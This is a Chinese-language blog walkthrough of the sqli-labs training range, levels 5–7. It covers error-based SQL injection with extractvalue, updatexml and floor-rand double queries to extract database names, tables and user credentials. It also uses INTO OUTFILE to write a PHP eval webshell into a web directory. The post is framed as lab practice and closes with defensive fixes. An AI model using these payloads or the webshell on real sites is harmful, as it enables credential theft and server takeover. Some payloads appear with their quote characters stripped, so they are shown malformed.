SQL注入实战:sqli-labs第5-7关报错注入与Getshell全解析
发布时间:2026/10/16 9:55:09 锦皓数字建站

1. 2026年重刷第5关到第7关前先把这三点想明白sqlo-labs是我每年都会重新过一遍的SQL注入靶场今年从第1关刷到第20关反而在第5到第7关停留的时间最长。这三关刚好是从页面直接回显数据过渡到页面什么也不说的分水岭第5关和第6关考报错注入第7关考文件写入Getshell。刷完这三关你对闭合符的判断、报错函数的原理、MySQL文件权限的边界理解会跟前面几关完全不在一个层次上。这篇写给刚过完前四关、正往深水区走的朋友也适合想系统复习手工注入细节的从业者。1.1 这三关到底在训练什么前四关基本是注入点存在 联合查询直接回显的玩法你只要会拼union select就能把整张表拖出来。但真实业务里很多接口根本不会把查询结果渲染到页面上它可能只告诉你成功或失败。这时候再拿union select去怼往往什么都看不到。第5关就是用来打破这个错觉的。它的页面永远只回显You are in...........正确数据和错误数据都不直接打印。你要么走布尔盲注一条条猜要么走报错注入让数据库把查询结果夹带在错误信息里吐出来。第6关是第5关的双引号变种故意把闭合符换掉逼你养成先判断闭合再动手的习惯。第7关则是彻底换思路——既然结果不回来那就用into outfile把查询结果写到服务器文件里甚至可以写一个可执行脚本进去。这三关连起来正好覆盖了读数据和写文件两种完全不同的利用方向。1.2 环境准备版本差异是最容易踩的隐形坑我2026年这套环境是MySQL 5.7加PHP 7.x的组合老教程里很多写法在新环境里会有细微差别主要体现在三处。一是MySQL的报错函数。extractvalue、updatexml从5.1.5之后到8.0都还在但MySQL 8.0默认把secure_file_priv设成了NULL第7关直接写文件会报1290错误这个后面单开一节讲。二是PHP高版本已经彻底移除了magic_quotes_gpc老版sqlo-labs直接跑在PHP 7上往往会白屏或报错你需要确认靶场代码是否兼容或者干脆用低版本环境。三是SQL文件导入的编码问题字符集不一致会导致建表失败或中文乱码导入前先看好数据库版本。搭建时把靶场文件夹放进站点根目录修改数据库连接配置导入提供的SQL文件浏览器能打开首页就算成功。如果你不开通报错显示后面所有判断都会抓瞎所以php配置里的display_errors务必保持开启。1.3 工具与调试习惯我刷这三关基本只用两样东西浏览器加一个能发原始请求的抓包工具。直接在地址栏手敲payload很容易翻车因为浏览器会擅自转义特殊字符对#、引号、空格的处理和原始HTTP请求完全是两码事。我习惯在抓包工具里复制请求、修改参数、发出去响应直接看原文。另一个习惯是每过一关把闭合符、列数、可用手法记在本地笔记里。第5到第7关之间高度相似不做对比记录的话刷到第7关你会发现又忘了第5关怎么写。后文第五章会放一张三关对比表那就是我通关之后沉淀下来的东西。2. 第5关单引号闭合的双查询报错注入2.1 闭合符判断一条报错信息就把底牌掀了进入第5关页面是一个带id参数的查询。先做最基础的一步给id加一个单引号。请求http://靶场地址/第5关?id1如果你在高版本环境里看不到SQL报错先检查一下后台是否把错误输出关了靶场默认是开着的这条报错就是注入最重要的线索。正常情况下你会看到类似这样的文本You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1 at line 1注意报错里的1。外层那一对单引号来自查询语句里的id...内层是我们自己传进去的。看到这个结构闭合符就确定了后台SQL大概是SELECT * FROM users WHERE id$id LIMIT 0,1我们传的id值被一对单引号包住。接下来验证逻辑。传?id1 and 11--页面显示You are in再传?id1 and 12--页面什么都不显示。两个结果对比说明注入点的条件可控。这里我用--收尾是因为MySQL里--后面必须跟空格而在URL里会被解析成空格如果你在抓包工具里手动改包直接用--也行或者用#注释但#在URL里要编码成%23。判断完闭合你面前有两条路一条是布尔盲注用if()或sleep()慢慢猜另一条是本文重点——报错注入。第5关的关卡名就叫双注入明显是引导你走报错这条。2.2 报错注入两种主流手法的工作原理报错注入的思路很朴素页面不打印查询结果但会打印SQL报错。那我构造一条本身会报错但报错内容里夹带查询结果的语句。MySQL里能实现这个效果的函数不少最常见的是extractvalue、updatexml以及count加floor的经典双查询。先看extractvalue的写法1 and extractvalue(1, concat(0x7e, (select database()), 0x7e))--extractvalue的第二个参数是XPath路径如果路径格式非法MySQL会抛出XPATH syntax error并把路径内容显示在错误信息里。我在路径里拼了0x7e也就是波浪号~因为~不是合法路径开头必然触发报错同时它是可见字符方便从错误文本里定位数据边界。整个payload的执行顺序是先把子查询结果拼进XPath参数再让extractvalue因为路径非法而报错错误信息里就带上了数据库名。updatexml的写法类似只是函数签名里的参数位置不同1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--另一条更经典的路径是双查询1 and (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) t)--它的原理是用group by对concat(报错内容, floor(rand(0)*2))分组rand函数导致分组键在两条记录之间跳动当group by的临时表里出现重复主键时MySQL为了报Duplicate entry错误会把这条重复记录的内容原样打印出来而内容正是我们拼接进去的查询结果。这条payload建议背下来它在老版本MySQL里适用范围比extractvalue更广而且不依赖XPath规则。两条路各有特点。extractvalue和updatexml写起来短但报错信息有长度截断双查询payload长但某些场景下更稳定。我实际使用中通常先用extractvalue数据太长就换substring分块提取。2.3 从数据库到数据的完整提取流程确定了闭合符和报错函数剩下的就是机械地换子查询。整体四步走。第一步取库名1 and extractvalue(1, concat(0x7e, (select database()), 0x7e))--响应里出现~sqlo_labs~之类的文本库名到手。第二步取表名用group_concat把目标库下的表拼成一行1 and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 0x7e))--表一多group_concat的结果就会被截断解决办法是加limit配合substring分批取比如只取第一张表就写limit 0,1再往下翻就改limit的偏移量。第三步取字段名1 and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name你的表名), 0x7e))--这里注意子查询内部的单引号是用来界定表名字符串的别和请求里的闭合符搞混。第5关闭合符是单引号payload里的表名我用你的表名包因为它处在SQL字符串上下文中需要的是字符串字面量的引号跟注入点闭合没有冲突。第四步取数据1 and extractvalue(1, concat(0x7e, (select concat(username,0x3a,password) from users limit 0,1), 0x7e))--0x3a是冒号的十六进制用来分隔用户名和密码字段。一直手动改limit太累我当时是把请求丢进抓包工具复制几份只改limit偏移量几轮就把users表刷完了。2.4 第5关里我踩过的三个坑刷这关我实打实卡了好几次记录几个容易翻车的位置。第一个坑是注释符。我在浏览器里直接输入--没问题但换成--后有人会习惯性省略空格变成--结果MySQL不认为这是注释语句后面的引号把语法带崩。记住两条--后面必须有空格或者直接用#到行尾。第二个坑是extractvalue的截断。提取的字符串只要超过三十来个字符错误信息里就只显示一部分开头和结尾的~有时会消失。这不是payload写错只是截断。用substr((select ...), 起始位置, 长度)循环取就好。第三个坑是0x7e的来历。有些初学者图省事直接在concat里写~在SQL里被单引号包着的~没问题但放在需要拼接的注入点里很容易和外围引号纠缠不清。用0x7e这种十六进制写法既避开引号转义又保证可见性和唯一性这是老手偏爱它的原因。3. 第6关双引号版本把第5关的经验整体平移3.1 双引号闭合的判断信号第6关和第5关页面长得几乎一样很多人顺手把第5关的payload直接粘过来结果一条也跑不通。差别就在闭合符第5关是id$id第6关是id$id单引号换成了双引号。判断方法还是老套路给id丢一个双引号请求http://靶场地址/第6关?id1看报错信息里的1 LIMIT 0,1两对双引号叠在一起说明我们的输入落进了双引号包裹的上下文。看到这个结构直接确定闭合符是双引号不需要再做布尔验证。需要提醒的是在抓包工具里发送时双引号可以直接放在请求里但有些代理工具会做编码你看到%22也不用慌那就是双引号的URL编码形式。3.2 Payload移植时的关键细节把第5关的payload整体平移只改一个字符把闭合注入点的单引号改成双引号。1 and extractvalue(1, concat(0x7e, (select database()), 0x7e))--这里有一个非常容易误伤的点。payload里凡是用来闭合注入点的引号都要改成双引号但子查询内部的字符串字面量比如where table_nameusers必须保持单引号。因为后台查询本身把参数值放在双引号里我们闭合注入点用的是双引号而SQL语法里字符串字面量默认用单引号两者不能混。你要把内部也改成双引号就会变成users这种嵌套混乱的写法直接报错。第6关的其余流程和第5关完全一致闭合确定后布尔验证、extractvalue取库、information_schema取表取字段、取数据每一步只是把开头的1换成1。我甚至可以抓取第5关的通关请求只改闭合字符和关卡URL就能完整复现一遍。3.3 双引号关卡的延伸验证刷第6关时我还顺手验证了一件事既然union select在页面没有回显的地方看不到数据那在这关用union能不能奏效。试一下1 union select 1,2,3--结果是页面依然只显示You are in没有任何数据。这说明第6关和第5关一样查询结果根本不会被渲染出来union select在这种零回显场景下几乎没有利用价值。这是很多新手会犯的错——一看到注入点就往上堆union却忽略了回显条件。这个验证让我对手段选择取决于回显方式有了更具体的感知。页面回显结果优先union页面只回显成功与否要么报错要么盲注如果目标是把数据写到服务器才轮到outfile上场。第6关虽然没有引入新函数但它用最直接的方式治好了只会用单引号的机械记忆。我建议你把第5关和第6关的请求并排放在一起比对除了引号之外还有哪里变了这种差异意识在后面的关卡里非常值钱。4. 第7关INTO OUTFILE写文件的完整链路4.1 先看这一关的特殊查询结构第7关一上来常规报错注入其实也能跑但关卡名称直接点明目标是Dump into Outfile也就是把查询结果写入服务器文件。先探闭合请求http://靶场地址/第7关?id1会看到类似上一关的报错再试双引号?id1同样报错。这一关不是简单的单引号或双引号闭合它的SQL长这样SELECT * FROM users WHERE id((($id))) LIMIT 0,1也就是说三对括号包着一个单引号。所以闭合方式是))——先用单引号闭合字符串再补两对右括号把外层括号闭合。验证一下?id1)) and 11--正常显示?id1)) and 12--无显示闭合确认。下一步数列数因为写文件要用union select配合1)) order by 1-- 1)) order by 2-- 1)) order by 3-- 1)) order by 4--order by到4时报错说明查询结果有3列。这个报错本身就是信号你不需要看到具体数据只要数到哪一列炸了就知道列数是3。4.2 文件写入成立的四个前提into outfile不是你想写就能写的它同时依赖四个前提缺一个都会静默失败或直接报错。第一数据库账号要有FILE权限。靶场默认给的连接账号通常带FILE权限真实环境里很少有业务账号会拿到这个权限这是第一道闸门。第二MySQL变量secure_file_priv要允许写入。这个变量有三种取值NULL代表禁止所有导入导出空字符串代表不限制路径指定了具体目录就只能写到那个目录。MySQL 8.0默认是NULL所以很多新环境在第7关直接写文件会报1290错误。靶场环境一般不做限制但如果你复现失败优先查这个变量。第三必须知道网站的绝对路径。写文件要写绝对路径写不到站点根目录就访问不到。常见Linux环境是/var/www/html/Windows下是站点根目录你可以通过phpinfo、报错页面或者前几关留下的线索去确认。第四目标目录要对MySQL进程的运行用户开放写权限。Linux下Web服务进程通常以www-data运行MySQL是mysql用户如果站点目录属主是root且权限是755MySQL就写不进去。这四条按顺序检查大多数写文件没反应的问题都出在第二条和第四条。4.3 联合查询写文件与Getshell操作前提都满足后先做一次无副作用的试探性写入避免一上来写脚本、然后发现路径不对。我通常先写一个纯文本文件1)) union select 1,2,3 into outfile /var/www/html/第7关/probe.txt--请求发出去后如果页面没有报错用浏览器访问http://靶场地址/第7关/probe.txt能看到内容为1 2 3说明路径、权限全部通畅。这时候再把第3列替换成PHP文件内容1)) union select 1,2, ?php echo phpinfo(); ? into outfile /var/www/html/第7关/info.php--访问info.php能看到PHP配置页说明我们已经能往Web目录写可执行代码。到这里Getshell只差最后一步写一个可控的WebShell。在靶场环境里我用的最小化写法是1)) union select 1,2, ?php eval($_POST[x]); ? into outfile /var/www/html/第7关/shell.php--然后向shell.php发一个POST请求参数x里放要执行的代码能返回执行结果就算闭环。这里补充一个细节如果路径或文件名里出现单双引号混用导致报错可以把字符串内容用十六进制编码写MySQL支持0x...形式的字符串常量能绕开绝大多数引号冲突。我要强调一句以上操作全部发生在你自己搭建的靶场里。这套手法的意义在于理解数据库权限失控会带来什么后果而不是拿它去测试任何未经授权的系统。真实生产环境里文件权限、SELinux、WAF、主机防护会层层拦截但理解攻击链路始终是做好防御的前提。4.4 写文件失败场景与排查笔记如果payload发出去页面直接报错先看报错编号。常见三种。一是ERROR 1290 (HY000)这是secure_file_priv的限制需要检查MySQL的启动参数或配置文件确认它没有指向NULL二是ERROR 1 (HY000): Cant create/write to file这是目录权限或路径问题可以用系统命令看目录属主也可以先把目标路径换成/tmp验证MySQL能不能写三是SELinux或AppArmor拦截MySQL写Web目录这种情况需要调整策略或换路径。还有一种情况是不报错但文件没出现。我遇到过两次一次是路径写错把/var/www/html写成了/var/www另一次是文件名带了非法字符。遇到这种无声失败我的排查习惯是把目标路径改成/tmp/xxx.txt先写一次如果tmp能写而Web目录不能写问题基本锁定在目录权限或SELinux上。5. 三关串起来注入套路、常见卡点与防御启示5.1 第5到7关的技术对比表刷完三关我习惯做一张表把技术点钉死这张表也是我后面刷其他靶场时反复回看的提纲。关卡闭合符核心手法数据如何出来最终目标第5关单引号报错注入extractvalue/updatexml、countfloor双查询借SQL报错信息回显拖出库表字段数据第6关双引号同第5关闭合适配借SQL报错信息回显拖出库表字段数据第7关单引号加三层括号))联合查询加into outfile不回显直接写入服务器文件写文件到Web目录进而Getshell这张表最有价值的地方在中间那列三关的目标逐渐从读数据变成写文件手段从靠报错变成靠权限。读和写是两种完全不同的对抗面防御方要分别对待。5.2 通用排查顺序与我的操作习惯三关连刷我总结出一套固定的排查顺序注入点确认、闭合符判断、列数探测、手段选择、数据提取或文件写入。每一步都有对应的验证信号不要跳步。闭合符判断靠报错原文这个前面已经反复讲过。列数探测用order by从1开始往上加一旦报错就是越界。手段选择看回显页面直接回显结果优先union没有回显但有报错优先报错注入报错也被堵死走布尔盲注或时间盲注如果目标本来就是写文件直接考虑outfile。这条决策链练熟了后面遇到再复杂的注入场景也不会慌。我的操作习惯还有一点所有payload先在抓包工具里保留原始请求通关后再把成功的请求单独存一份。很多初学者喜欢在浏览器里反复粘贴既看不清编码问题也没法沉淀出可复用的东西。我刷完这三关成功请求加起来不超过二十条但每条都能讲清楚它为什么成功这比刷五十遍copy-paste有用得多。5.3 防御视角攻击手法对应的修复方案刷靶场不是为了炫技是为了知道对方怎么打进来。把这三关的攻击手法翻译成防御清单比抽象地讲防止SQL注入落地得多。报错注入能被利用基础前提是SQL语句用拼接方式处理了参数所以根上的修复是参数化查询或预编译语句让用户输入永远只作为数据出现而不是可执行代码。光靠过滤单引号、双引号、关键字是不够的因为注入手法会不断换编码、换函数绕过过滤器。闭合符导致的括号问题本质还是拼接。只要SQL被拼出来闭合符就只是攻击者换了个姿势。所以在代码评审里看到字符串拼接SQL的代码无论在前端还是后端都是最高优先级的问题。第7关暴露的是数据库权限边界。普通业务查询根本不需要FILE权限也不需要让数据库账号接触文件系统。生产环境的数据库账号应该遵循最小权限原则把FILE这类高危权限全部收回secure_file_priv设置为NULL同时关闭生产环境的错误信息展示——这一步能直接废掉报错注入的报错通道让它被迫退回效率更低的盲注。5.4 刷完这三关后的一点体会从第1关刷到第7关我最大的变化是面对一个陌生查询时不再急着套payload而是先花三十秒把语句结构推理出来。第5到第7关恰恰是逼你建立这个推理过程的关卡报错信息就是调试日志闭合判断就是语法推理写文件前的四项检查就是环境审计。这套先推理、再验证、后利用的节奏才是比任何一个payload都值钱的东西。如果你正在刷这三关我的建议是不要直接抄任何人的通关payload哪怕是我这篇。先自己推一遍闭合自己拼一遍报错函数再回来看文章对比收获会完全不一样。我把这些细节写出来就是希望你在卡住的时候有地方参考而不是替你完成思考。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。